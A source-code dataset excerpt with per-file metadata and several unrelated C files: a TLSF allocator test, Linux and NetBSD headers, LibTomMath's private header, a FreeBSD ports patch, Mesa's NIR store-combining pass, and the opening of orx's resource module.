| 17,463,359
| 227
| 28
|
MIT
| 2023-07-18T03:02:15
| 2014-03-06T02:27:25
|
Python
|
UTF-8
|
C
| false
| false
| 530
|
c
|
test.c
|
#include <stdio.h>
#include <stdlib.h>
#include "tlsf.h"
#define POOL_SIZE 1024 * 1024
// Pool size is in bytes.
char pool[POOL_SIZE];
int
main(void){
int *ptr[100];
int i, free_mem;
free_mem = init_memory_pool(POOL_SIZE, pool);
printf("Total free memory= %d\n", free_mem);
for (i=0; i< 100; i++)
if (!(ptr[i]=malloc_ex(1024, pool))){
printf("Error\n");
exit(-1);
}
for (i=0; i< 100; i++)
free_ex(ptr[i], pool);
destroy_memory_pool(pool);
printf("Test OK\n");
exit(0);
}
|
ec795313e7102f55201f45ceac768f2694783c33
|
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
|
/lib/libc/include/any-linux-any/linux/netfilter/xt_ecn.h
|
901318f7c8b7b1cfb9bd8d7fad33f26821824cf3
|
[
"MIT"
] |
permissive
|
ziglang/zig
|
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
|
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
|
refs/heads/master
| 2023-08-31T13:16:45.980913
| 2023-08-31T05:50:29
| 2023-08-31T05:50:29
| 40,276,274
| 25,560
| 2,399
|
MIT
| 2023-09-14T21:09:50
| 2015-08-06T00:51:28
|
Zig
|
UTF-8
|
C
| false
| false
| 735
|
h
|
xt_ecn.h
|
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/* iptables module for matching the ECN header in IPv4 and TCP header
*
* (C) 2002 Harald Welte <laforge@gnumonks.org>
*
* This software is distributed under GNU GPL v2, 1991
*
* ipt_ecn.h,v 1.4 2002/08/05 19:39:00 laforge Exp
*/
#ifndef _XT_ECN_H
#define _XT_ECN_H
#include <linux/types.h>
#include <linux/netfilter/xt_dscp.h>
#define XT_ECN_IP_MASK (~XT_DSCP_MASK)
#define XT_ECN_OP_MATCH_IP 0x01
#define XT_ECN_OP_MATCH_ECE 0x10
#define XT_ECN_OP_MATCH_CWR 0x20
#define XT_ECN_OP_MATCH_MASK 0xce
/* match info */
struct xt_ecn_info {
__u8 operation;
__u8 invert;
__u8 ip_ect;
union {
struct {
__u8 ect;
} tcp;
} proto;
};
#endif /* _XT_ECN_H */
|
c4f2e33d5ecd83b157e08271511af445a6784efb
|
50dd46b8ece33f3cdd174284b15d1d51f89669d4
|
/third_party/libtommath/tommath_private.h
|
e9d9737c50a3707f29593a52a5c8d534a1144c59
|
[
"LicenseRef-scancode-generic-cla",
"Apache-2.0",
"LicenseRef-scancode-free-unknown"
] |
permissive
|
google/google-ctf
|
f99da1ee07729bbccb869fff1cbaed6a80e43bcc
|
df02323eaf945d15e124801c74abaadca2749dc7
|
refs/heads/master
| 2023-08-31T14:30:27.548081
| 2023-08-29T13:04:20
| 2023-08-29T13:04:20
| 131,317,137
| 4,136
| 607
|
Apache-2.0
| 2023-08-30T22:17:02
| 2018-04-27T15:56:03
|
Go
|
UTF-8
|
C
| false
| false
| 4,600
|
h
|
tommath_private.h
|
/* LibTomMath, multiple-precision integer library -- Tom St Denis
*
* LibTomMath is a library that provides multiple-precision
* integer arithmetic as well as number theoretic functionality.
*
* The library was designed directly after the MPI library by
* Michael Fromberger but has been written from scratch with
* additional optimizations in place.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifndef TOMMATH_PRIV_H_
#define TOMMATH_PRIV_H_
#include "tommath.h"
#include <ctype.h>
#ifndef MIN
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
#endif
#ifndef MAX
#define MAX(x, y) (((x) > (y)) ? (x) : (y))
#endif
#ifdef __cplusplus
extern "C" {
/* C++ compilers don't like assigning void * to mp_digit * */
#define OPT_CAST(x) (x *)
#else
/* C on the other hand doesn't care */
#define OPT_CAST(x)
#endif
/* define heap macros */
#ifndef XMALLOC
/* default to libc stuff */
# define XMALLOC malloc
# define XFREE free
# define XREALLOC realloc
# define XCALLOC calloc
#else
/* prototypes for our heap functions */
extern void *XMALLOC(size_t n);
extern void *XREALLOC(void *p, size_t n);
extern void *XCALLOC(size_t n, size_t s);
extern void XFREE(void *p);
#endif
/* lowlevel functions, do not call! */
int s_mp_add(const mp_int *a, const mp_int *b, mp_int *c);
int s_mp_sub(const mp_int *a, const mp_int *b, mp_int *c);
#define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1)
int fast_s_mp_mul_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs);
int s_mp_mul_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs);
int fast_s_mp_mul_high_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs);
int s_mp_mul_high_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs);
int fast_s_mp_sqr(const mp_int *a, mp_int *b);
int s_mp_sqr(const mp_int *a, mp_int *b);
int mp_karatsuba_mul(const mp_int *a, const mp_int *b, mp_int *c);
int mp_toom_mul(const mp_int *a, const mp_int *b, mp_int *c);
int mp_karatsuba_sqr(const mp_int *a, mp_int *b);
int mp_toom_sqr(const mp_int *a, mp_int *b);
int fast_mp_invmod(const mp_int *a, const mp_int *b, mp_int *c);
int mp_invmod_slow(const mp_int *a, const mp_int *b, mp_int *c);
int fast_mp_montgomery_reduce(mp_int *x, const mp_int *n, mp_digit rho);
int mp_exptmod_fast(const mp_int *G, const mp_int *X, const mp_int *P, mp_int *Y, int redmode);
int s_mp_exptmod(const mp_int *G, const mp_int *X, const mp_int *P, mp_int *Y, int redmode);
void bn_reverse(unsigned char *s, int len);
extern const char *const mp_s_rmap;
extern const uint8_t mp_s_rmap_reverse[];
extern const size_t mp_s_rmap_reverse_sz;
/* Fancy macro to set an MPI from another type.
* There are several things assumed:
* x is the counter and unsigned
* a is the pointer to the MPI
* b is the original value that should be set in the MPI.
*/
#define MP_SET_XLONG(func_name, type) \
int func_name (mp_int * a, type b) \
{ \
unsigned int x; \
int res; \
\
mp_zero (a); \
\
/* set four bits at a time */ \
for (x = 0; x < (sizeof(type) * 2u); x++) { \
/* shift the number up four bits */ \
if ((res = mp_mul_2d (a, 4, a)) != MP_OKAY) { \
return res; \
} \
\
/* OR in the top four bits of the source */ \
a->dp[0] |= (mp_digit)(b >> ((sizeof(type) * 8u) - 4u)) & 15uL;\
\
/* shift the source up to the next four bits */ \
b <<= 4; \
\
/* ensure that digits are not clamped off */ \
a->used += 1; \
} \
mp_clamp (a); \
return MP_OKAY; \
}
#ifdef __cplusplus
}
#endif
#endif
/* ref: HEAD -> develop */
/* git commit: 8b9f98baa16b21e1612ac6746273febb74150a6f */
/* commit time: 2018-09-23 21:37:58 +0200 */
|
056cf25b54e4877ba48dddc6e278859916b2d1f8
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/sys/arch/arm/include/efirt.h
|
3c106f06328990d49ec20a6a26faa241fced61ee
|
[] |
no_license
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 224
|
h
|
efirt.h
|
#ifndef _ARM_EFIRT_H_
#define _ARM_EFIRT_H_
enum cpu_efirt_mem_type {
ARM_EFIRT_MEM_CODE,
ARM_EFIRT_MEM_DATA,
ARM_EFIRT_MEM_MMIO,
};
void cpu_efirt_map_range(vaddr_t, paddr_t, size_t, enum cpu_efirt_mem_type);
#endif
|
c9fc0e1308cc04a8a333b3b83ac1b6a070f48353
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/microblaze/include/asm/unistd.h
|
6dece2d002dca98e5247f1ee043830cd8769c13f
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 1,217
|
h
|
unistd.h
|
/*
* Copyright (C) 2007-2008 Michal Simek <monstr@monstr.eu>
* Copyright (C) 2006 Atmark Techno, Inc.
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*/
#ifndef _ASM_MICROBLAZE_UNISTD_H
#define _ASM_MICROBLAZE_UNISTD_H
#include <uapi/asm/unistd.h>
#ifndef __ASSEMBLY__
/* #define __ARCH_WANT_OLD_READDIR */
/* #define __ARCH_WANT_OLD_STAT */
#define __ARCH_WANT_STAT64
#define __ARCH_WANT_SYS_ALARM
#define __ARCH_WANT_SYS_GETHOSTNAME
#define __ARCH_WANT_SYS_PAUSE
#define __ARCH_WANT_SYS_SGETMASK
#define __ARCH_WANT_SYS_SIGNAL
#define __ARCH_WANT_SYS_TIME
#define __ARCH_WANT_SYS_UTIME
#define __ARCH_WANT_SYS_WAITPID
#define __ARCH_WANT_SYS_SOCKETCALL
#define __ARCH_WANT_SYS_FADVISE64
#define __ARCH_WANT_SYS_GETPGRP
#define __ARCH_WANT_SYS_LLSEEK
#define __ARCH_WANT_SYS_NICE
/* #define __ARCH_WANT_SYS_OLD_GETRLIMIT */
#define __ARCH_WANT_SYS_OLDUMOUNT
#define __ARCH_WANT_SYS_SIGPENDING
#define __ARCH_WANT_SYS_SIGPROCMASK
#define __ARCH_WANT_SYS_CLONE
#define __ARCH_WANT_SYS_VFORK
#define __ARCH_WANT_SYS_FORK
#endif /* __ASSEMBLY__ */
#endif /* _ASM_MICROBLAZE_UNISTD_H */
|
1e1e8083e6a908bdfabc8e51eb0f818ecfb56fbe
|
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
|
/databases/puredb/files/patch-src_example__read.c
|
547b3e2f5283de40f761b30d2cdf5bbf13722347
|
[
"BSD-2-Clause"
] |
permissive
|
freebsd/freebsd-ports
|
86f2e89d43913412c4f6b2be3e255bc0945eac12
|
605a2983f245ac63f5420e023e7dce56898ad801
|
refs/heads/main
| 2023-08-30T21:46:28.720924
| 2023-08-30T19:33:44
| 2023-08-30T19:33:44
| 1,803,961
| 916
| 918
|
NOASSERTION
| 2023-09-08T04:06:26
| 2011-05-26T11:15:35
| null |
UTF-8
|
C
| false
| false
| 230
|
c
|
patch-src_example__read.c
|
--- src/example_read.c.orig 2002-03-08 13:09:50 UTC
+++ src/example_read.c
@@ -3,6 +3,9 @@
#include <stdio.h>
#include <stdlib.h>
+#ifdef __FreeBSD__
+#include <sys/types.h>
+#endif
#include <puredb_read.h>
int main(void)
|
658fedacd654f9d8eadbd7e70a2a2a2361d70686
|
5eff7a36d9a9917dce9111f0c3074375fe6f7656
|
/lib/mesa/src/compiler/nir/nir_opt_combine_stores.c
|
d66f435b44a5b99233d5513b57325ddfd6d45db4
|
[] |
no_license
|
openbsd/xenocara
|
cb392d02ebba06f6ff7d826fd8a89aa3b8401779
|
a012b5de33ea0b977095d77316a521195b26cc6b
|
refs/heads/master
| 2023-08-25T12:16:58.862008
| 2023-08-12T16:16:25
| 2023-08-12T16:16:25
| 66,967,384
| 177
| 66
| null | 2023-07-22T18:12:37
| 2016-08-30T18:36:01
|
C
|
UTF-8
|
C
| false
| false
| 16,265
|
c
|
nir_opt_combine_stores.c
|
/*
* Copyright © 2019 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include "nir.h"
#include "nir_builder.h"
#include "nir_deref.h"
#include "util/bitscan.h"
#include "util/list.h"
#include "util/u_math.h"
/* Combine stores of vectors to the same deref into a single store.
*
* This per-block pass keeps track of stores of vectors to the same
* destination and combines them into the last store of the sequence. Dead
* stores (or parts of the store) found during the process are removed.
*
* A pending combination becomes an actual combination in various situations:
* at the end of the block, when another instruction uses the memory or due to
* barriers.
*
* Besides vectors, the pass also look at array derefs of vectors. For direct
* array derefs, it works like a write mask access to the given component.
* For indirect access there's no way to know before hand what component it
* will overlap with, so the combination is finished -- the indirect remains
* unmodified.
*/
/* Keep track of a group of stores that can be combined. All stores share the
* same destination.
*/
struct combined_store {
struct list_head link;
nir_component_mask_t write_mask;
nir_deref_instr *dst;
/* Latest store added. It is reused when combining. */
nir_intrinsic_instr *latest;
/* Original store for each component. The number of times a store appear
* in this array is kept in the store's pass_flags.
*/
nir_intrinsic_instr *stores[NIR_MAX_VEC_COMPONENTS];
};
struct combine_stores_state {
nir_variable_mode modes;
/* Pending store combinations. */
struct list_head pending;
/* Per function impl state. */
nir_builder b;
bool progress;
/* Allocator and freelist to reuse structs between functions. */
void *lin_ctx;
struct list_head freelist;
};
static struct combined_store *
alloc_combined_store(struct combine_stores_state *state)
{
struct combined_store *result;
if (list_is_empty(&state->freelist)) {
result = linear_zalloc_child(state->lin_ctx, sizeof(*result));
} else {
result = list_first_entry(&state->freelist,
struct combined_store,
link);
list_del(&result->link);
memset(result, 0, sizeof(*result));
}
return result;
}
static void
free_combined_store(struct combine_stores_state *state,
struct combined_store *combo)
{
list_del(&combo->link);
combo->write_mask = 0;
list_add(&combo->link, &state->freelist);
}
static void
combine_stores(struct combine_stores_state *state,
struct combined_store *combo)
{
assert(combo->latest);
assert(combo->latest->intrinsic == nir_intrinsic_store_deref);
/* If the combined writemask is the same as the latest store, we know there
* is only one store in the combination, so nothing to combine.
*/
if ((combo->write_mask & nir_intrinsic_write_mask(combo->latest)) ==
combo->write_mask)
return;
state->b.cursor = nir_before_instr(&combo->latest->instr);
/* Build a new vec, to be used as source for the combined store. As it
* gets build, remove previous stores that are not needed anymore.
*/
nir_ssa_scalar comps[NIR_MAX_VEC_COMPONENTS] = {0};
unsigned num_components = glsl_get_vector_elements(combo->dst->type);
unsigned bit_size = combo->latest->src[1].ssa->bit_size;
for (unsigned i = 0; i < num_components; i++) {
nir_intrinsic_instr *store = combo->stores[i];
if (combo->write_mask & (1 << i)) {
assert(store);
assert(store->src[1].is_ssa);
/* If store->num_components == 1 then we are in the deref-of-vec case
* and store->src[1] is a scalar. Otherwise, we're a regular vector
* load and we have to pick off a component.
*/
comps[i] = nir_get_ssa_scalar(store->src[1].ssa, store->num_components == 1 ? 0 : i);
assert(store->instr.pass_flags > 0);
if (--store->instr.pass_flags == 0 && store != combo->latest)
nir_instr_remove(&store->instr);
} else {
comps[i] = nir_get_ssa_scalar(nir_ssa_undef(&state->b, 1, bit_size), 0);
}
}
assert(combo->latest->instr.pass_flags == 0);
nir_ssa_def *vec = nir_vec_scalars(&state->b, comps, num_components);
/* Fix the latest store with the combined information. */
nir_intrinsic_instr *store = combo->latest;
/* In this case, our store is as an array deref of a vector so we need to
* rewrite it to use a deref to the whole vector.
*/
if (store->num_components == 1) {
store->num_components = num_components;
nir_instr_rewrite_src(&store->instr, &store->src[0],
nir_src_for_ssa(&combo->dst->dest.ssa));
}
assert(store->num_components == num_components);
nir_intrinsic_set_write_mask(store, combo->write_mask);
nir_instr_rewrite_src(&store->instr, &store->src[1],
nir_src_for_ssa(vec));
state->progress = true;
}
static void
combine_stores_with_deref(struct combine_stores_state *state,
nir_deref_instr *deref)
{
if (!nir_deref_mode_may_be(deref, state->modes))
return;
list_for_each_entry_safe(struct combined_store, combo, &state->pending, link) {
if (nir_compare_derefs(combo->dst, deref) & nir_derefs_may_alias_bit) {
combine_stores(state, combo);
free_combined_store(state, combo);
}
}
}
static void
combine_stores_with_modes(struct combine_stores_state *state,
nir_variable_mode modes)
{
if ((state->modes & modes) == 0)
return;
list_for_each_entry_safe(struct combined_store, combo, &state->pending, link) {
if (nir_deref_mode_may_be(combo->dst, modes)) {
combine_stores(state, combo);
free_combined_store(state, combo);
}
}
}
static struct combined_store *
find_matching_combined_store(struct combine_stores_state *state,
nir_deref_instr *deref)
{
list_for_each_entry(struct combined_store, combo, &state->pending, link) {
if (nir_compare_derefs(combo->dst, deref) & nir_derefs_equal_bit)
return combo;
}
return NULL;
}
static void
update_combined_store(struct combine_stores_state *state,
nir_intrinsic_instr *intrin)
{
nir_deref_instr *dst = nir_src_as_deref(intrin->src[0]);
if (!nir_deref_mode_may_be(dst, state->modes))
return;
unsigned vec_mask;
nir_deref_instr *vec_dst;
if (glsl_type_is_vector(dst->type)) {
vec_mask = nir_intrinsic_write_mask(intrin);
vec_dst = dst;
} else {
/* Besides vectors, only direct array derefs of vectors are handled. */
if (dst->deref_type != nir_deref_type_array ||
!nir_src_is_const(dst->arr.index) ||
!glsl_type_is_vector(nir_deref_instr_parent(dst)->type)) {
combine_stores_with_deref(state, dst);
return;
}
uint64_t index = nir_src_as_uint(dst->arr.index);
vec_dst = nir_deref_instr_parent(dst);
if (index >= glsl_get_vector_elements(vec_dst->type)) {
/* Storing to an invalid index is a no-op. */
nir_instr_remove(&intrin->instr);
state->progress = true;
return;
}
vec_mask = 1 << index;
}
struct combined_store *combo = find_matching_combined_store(state, vec_dst);
if (!combo) {
combo = alloc_combined_store(state);
combo->dst = vec_dst;
list_add(&combo->link, &state->pending);
}
/* Use pass_flags to reference count the store based on how many
* components are still used by the combination.
*/
intrin->instr.pass_flags = util_bitcount(vec_mask);
combo->latest = intrin;
/* Update the combined_store, clearing up older overlapping references. */
combo->write_mask |= vec_mask;
while (vec_mask) {
unsigned i = u_bit_scan(&vec_mask);
nir_intrinsic_instr *prev_store = combo->stores[i];
if (prev_store) {
if (--prev_store->instr.pass_flags == 0) {
nir_instr_remove(&prev_store->instr);
} else {
assert(glsl_type_is_vector(
nir_src_as_deref(prev_store->src[0])->type));
nir_component_mask_t prev_mask = nir_intrinsic_write_mask(prev_store);
nir_intrinsic_set_write_mask(prev_store, prev_mask & ~(1 << i));
}
state->progress = true;
}
combo->stores[i] = combo->latest;
}
}
static void
combine_stores_block(struct combine_stores_state *state, nir_block *block)
{
nir_foreach_instr_safe(instr, block) {
if (instr->type == nir_instr_type_call) {
combine_stores_with_modes(state, nir_var_shader_out |
nir_var_shader_temp |
nir_var_function_temp |
nir_var_mem_ssbo |
nir_var_mem_shared |
nir_var_mem_global);
continue;
}
if (instr->type != nir_instr_type_intrinsic)
continue;
nir_intrinsic_instr *intrin = nir_instr_as_intrinsic(instr);
switch (intrin->intrinsic) {
case nir_intrinsic_store_deref:
if (nir_intrinsic_access(intrin) & ACCESS_VOLATILE) {
nir_deref_instr *dst = nir_src_as_deref(intrin->src[0]);
/* When we see a volatile store, we go ahead and combine all
* previous non-volatile stores which touch that address and
* specifically don't add the volatile store to the list. This
* way we guarantee that the volatile store isn't combined with
* anything and no non-volatile stores are combined across a
* volatile store.
*/
combine_stores_with_deref(state, dst);
} else {
update_combined_store(state, intrin);
}
break;
case nir_intrinsic_control_barrier:
case nir_intrinsic_group_memory_barrier:
case nir_intrinsic_memory_barrier:
combine_stores_with_modes(state, nir_var_shader_out |
nir_var_mem_ssbo |
nir_var_mem_shared |
nir_var_mem_global);
break;
case nir_intrinsic_memory_barrier_buffer:
combine_stores_with_modes(state, nir_var_mem_ssbo |
nir_var_mem_global);
break;
case nir_intrinsic_memory_barrier_shared:
combine_stores_with_modes(state, nir_var_mem_shared);
break;
case nir_intrinsic_memory_barrier_tcs_patch:
combine_stores_with_modes(state, nir_var_shader_out);
break;
case nir_intrinsic_scoped_barrier:
if (nir_intrinsic_memory_semantics(intrin) & NIR_MEMORY_RELEASE) {
combine_stores_with_modes(state,
nir_intrinsic_memory_modes(intrin));
}
break;
case nir_intrinsic_emit_vertex:
case nir_intrinsic_emit_vertex_with_counter:
combine_stores_with_modes(state, nir_var_shader_out);
break;
case nir_intrinsic_report_ray_intersection:
combine_stores_with_modes(state, nir_var_mem_ssbo |
nir_var_mem_global |
nir_var_shader_call_data |
nir_var_ray_hit_attrib);
break;
case nir_intrinsic_ignore_ray_intersection:
case nir_intrinsic_terminate_ray:
combine_stores_with_modes(state, nir_var_mem_ssbo |
nir_var_mem_global |
nir_var_shader_call_data);
break;
case nir_intrinsic_load_deref: {
nir_deref_instr *src = nir_src_as_deref(intrin->src[0]);
combine_stores_with_deref(state, src);
break;
}
case nir_intrinsic_load_deref_block_intel:
case nir_intrinsic_store_deref_block_intel: {
/* Combine all the stores that may alias with the whole variable (or
* cast).
*/
nir_deref_instr *operand = nir_src_as_deref(intrin->src[0]);
while (nir_deref_instr_parent(operand))
operand = nir_deref_instr_parent(operand);
assert(operand->deref_type == nir_deref_type_var ||
operand->deref_type == nir_deref_type_cast);
combine_stores_with_deref(state, operand);
break;
}
case nir_intrinsic_copy_deref:
case nir_intrinsic_memcpy_deref: {
nir_deref_instr *dst = nir_src_as_deref(intrin->src[0]);
nir_deref_instr *src = nir_src_as_deref(intrin->src[1]);
combine_stores_with_deref(state, dst);
combine_stores_with_deref(state, src);
break;
}
case nir_intrinsic_trace_ray:
case nir_intrinsic_execute_callable:
case nir_intrinsic_rt_trace_ray:
case nir_intrinsic_rt_execute_callable: {
nir_deref_instr *payload =
nir_src_as_deref(*nir_get_shader_call_payload_src(intrin));
combine_stores_with_deref(state, payload);
break;
}
case nir_intrinsic_deref_atomic_add:
case nir_intrinsic_deref_atomic_imin:
case nir_intrinsic_deref_atomic_umin:
case nir_intrinsic_deref_atomic_imax:
case nir_intrinsic_deref_atomic_umax:
case nir_intrinsic_deref_atomic_and:
case nir_intrinsic_deref_atomic_or:
case nir_intrinsic_deref_atomic_xor:
case nir_intrinsic_deref_atomic_exchange:
case nir_intrinsic_deref_atomic_comp_swap: {
nir_deref_instr *dst = nir_src_as_deref(intrin->src[0]);
combine_stores_with_deref(state, dst);
break;
}
default:
break;
}
}
/* At the end of the block, try all the remaining combinations. */
combine_stores_with_modes(state, state->modes);
}
static bool
combine_stores_impl(struct combine_stores_state *state, nir_function_impl *impl)
{
state->progress = false;
nir_builder_init(&state->b, impl);
nir_foreach_block(block, impl)
combine_stores_block(state, block);
if (state->progress) {
nir_metadata_preserve(impl, nir_metadata_block_index |
nir_metadata_dominance);
} else {
nir_metadata_preserve(impl, nir_metadata_all);
}
return state->progress;
}
bool
nir_opt_combine_stores(nir_shader *shader, nir_variable_mode modes)
{
void *mem_ctx = ralloc_context(NULL);
struct combine_stores_state state = {
.modes = modes,
.lin_ctx = linear_zalloc_parent(mem_ctx, 0),
};
list_inithead(&state.pending);
list_inithead(&state.freelist);
bool progress = false;
nir_foreach_function(function, shader) {
if (!function->impl)
continue;
progress |= combine_stores_impl(&state, function->impl);
}
ralloc_free(mem_ctx);
return progress;
}
|
71fec0b98ac9df5f758800a1458092cdc4d513e2
|
3fe78c7fda8265db8335de4e5b17cde1ee7990e3
|
/code/src/core/orxResource.c
|
fe8249806657b84db30d2c1a5c24f1587a7f2e3f
|
[
"Zlib"
] |
permissive
|
orx/orx
|
c0628258025e63e59319c8126c5a5c2da9755420
|
7163f753f970b28818c7064dfd9b52a29c701967
|
refs/heads/master
| 2023-08-30T03:08:52.575944
| 2023-08-23T17:53:22
| 2023-08-23T17:53:22
| 39,714,458
| 1,358
| 118
|
Zlib
| 2023-07-26T00:27:33
| 2015-07-26T05:15:23
|
C
|
UTF-8
|
C
| false
| false
| 102,114
|
c
|
orxResource.c
|
/* Orx - Portable Game Engine
*
* Copyright (c) 2008-2022 Orx-Project
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*/
/**
* @file orxResource.c
* @date 20/01/2013
* @author iarwain@orx-project.org
*
*/
#include "core/orxResource.h"
#include "debug/orxDebug.h"
#include "core/orxClock.h"
#include "core/orxCommand.h"
#include "core/orxConfig.h"
#include "core/orxEvent.h"
#include "core/orxThread.h"
#include "debug/orxProfiler.h"
#include "io/orxFile.h"
#include "memory/orxBank.h"
#include "memory/orxMemory.h"
#include "utils/orxHashTable.h"
#include "utils/orxLinkList.h"
#include "utils/orxString.h"
#if defined(__orxANDROID__)
#include "main/android/orxAndroid.h"
#endif /* __orxANDROID__ */
/** Module flags
*/
#define orxRESOURCE_KU32_STATIC_FLAG_NONE 0x00000000 /**< No flags */
#define orxRESOURCE_KU32_STATIC_FLAG_READY 0x00000001 /**< Ready flag */
#define orxRESOURCE_KU32_STATIC_FLAG_CONFIG_LOADED 0x00000002 /**< Config loaded flag */
#define orxRESOURCE_KU32_STATIC_FLAG_WATCH_SET 0x00000004 /**< Watch set flag */
#define orxRESOURCE_KU32_STATIC_FLAG_NOTIFY_SET 0x00000008 /**< Notify set flag */
#define orxRESOURCE_KU32_STATIC_FLAG_WATCH_REGISTERED 0x00000010 /**< Watch registered flag */
#define orxRESOURCE_KU32_STATIC_MASK_ALL 0xFFFFFFFF /**< All mask */
/** Misc
*/
#define orxRESOURCE_KU32_CACHE_TABLE_SIZE 256 /**< Resource info cache table size */
#define orxRESOURCE_KU32_RESOURCE_INFO_BANK_SIZE 256 /**< Resource info bank size */
#define orxRESOURCE_KU32_STORAGE_BANK_SIZE 128 /**< Storage bank size */
#define orxRESOURCE_KU32_GROUP_BANK_SIZE 8 /**< Group bank size */
#define orxRESOURCE_KU32_TYPE_BANK_SIZE 8 /**< Type bank size */
#define orxRESOURCE_KU32_OPEN_INFO_BANK_SIZE 64 /**< Open resource info bank size */
#define orxRESOURCE_KU32_WATCH_ITERATION_LIMIT 2 /**< Watch iteration limit */
#define orxRESOURCE_KU32_WATCH_TIME_UNINITIALIZED -1 /**< Watch time uninitialized */
#define orxRESOURCE_KF_WATCH_NOTIFICATION_DELAY 0.2 /**< Watch notification delay */
#define orxRESOURCE_KU32_BUFFER_SIZE 256 /**< Buffer size */
#define orxRESOURCE_KZ_CONFIG_SECTION "Resource" /**< Config section name */
#define orxRESOURCE_KZ_CONFIG_WATCH_LIST "WatchList" /**< Config watch list */
#define orxRESOURCE_KU32_REQUEST_LIST_SIZE 8192 /**< Request list size */
#define orxRESOURCE_KZ_THREAD_NAME "Resource"
/***************************************************************************
* Structure declaration *
***************************************************************************/
/** Resource type
*/
typedef struct __orxRESOURCE_TYPE_t
{
orxLINKLIST_NODE stNode; /**< Linklist node */
orxRESOURCE_TYPE_INFO stInfo; /**< Type info */
} orxRESOURCE_TYPE;
/** Resource group
*/
typedef struct __orxRESOURCE_GROUP_t
{
orxSTRINGID stID; /**< Group name ID */
orxLINKLIST stStorageList; /**< Group storage list */
orxBANK *pstStorageBank; /**< Group storage bank */
orxHASHTABLE *pstCacheTable; /**< Group cache table */
} orxRESOURCE_GROUP;
/** Storage info
*/
typedef struct __orxRESOURCE_STORAGE_t
{
orxLINKLIST_NODE stNode; /**< Linklist node */
orxSTRINGID stID; /**< Literal storage ID */
} orxRESOURCE_STORAGE;
/** Resource info
*/
typedef struct __orxRESOURCE_INFO_t
{
orxSTRING zLocation; /**< Resource literal location */
orxRESOURCE_TYPE_INFO *pstTypeInfo; /**< Resource type info */
orxS64 s64Time; /**< Resource modification time */
orxSTRINGID stGroupID; /**< Group ID */
orxSTRINGID stStorageID; /**< Storage ID */
orxSTRINGID stNameID; /**< Name ID */
orxBOOL bPendingWatch; /**< Pending watch */
} orxRESOURCE_INFO;
/** Open resource info
*/
typedef struct __orxRESOURCE_OPEN_INFO_t
{
orxRESOURCE_TYPE_INFO *pstTypeInfo; /**< Resource type info */
orxHANDLE hResource; /**< Resource handle */
orxSTRING zLocation; /**< Resource location */
volatile orxU32 u32OpCount; /**< Operation count */
} orxRESOURCE_OPEN_INFO;
/** Request type enum
*/
typedef enum __orxRESOURCE_REQUEST_TYPE_t
{
orxRESOURCE_REQUEST_TYPE_READ = 0,
orxRESOURCE_REQUEST_TYPE_WRITE,
orxRESOURCE_REQUEST_TYPE_CLOSE,
orxRESOURCE_REQUEST_TYPE_GET_TIME,
orxRESOURCE_REQUEST_TYPE_NUMBER,
orxRESOURCE_REQUEST_TYPE_NONE = orxENUM_NONE
} orxRESOURCE_REQUEST_TYPE;
/** Request
*/
typedef struct __orxRESOURCE_REQUEST_t
{
orxS64 s64Size; /**< Request buffer size */
void *pBuffer; /**< Request buffer */
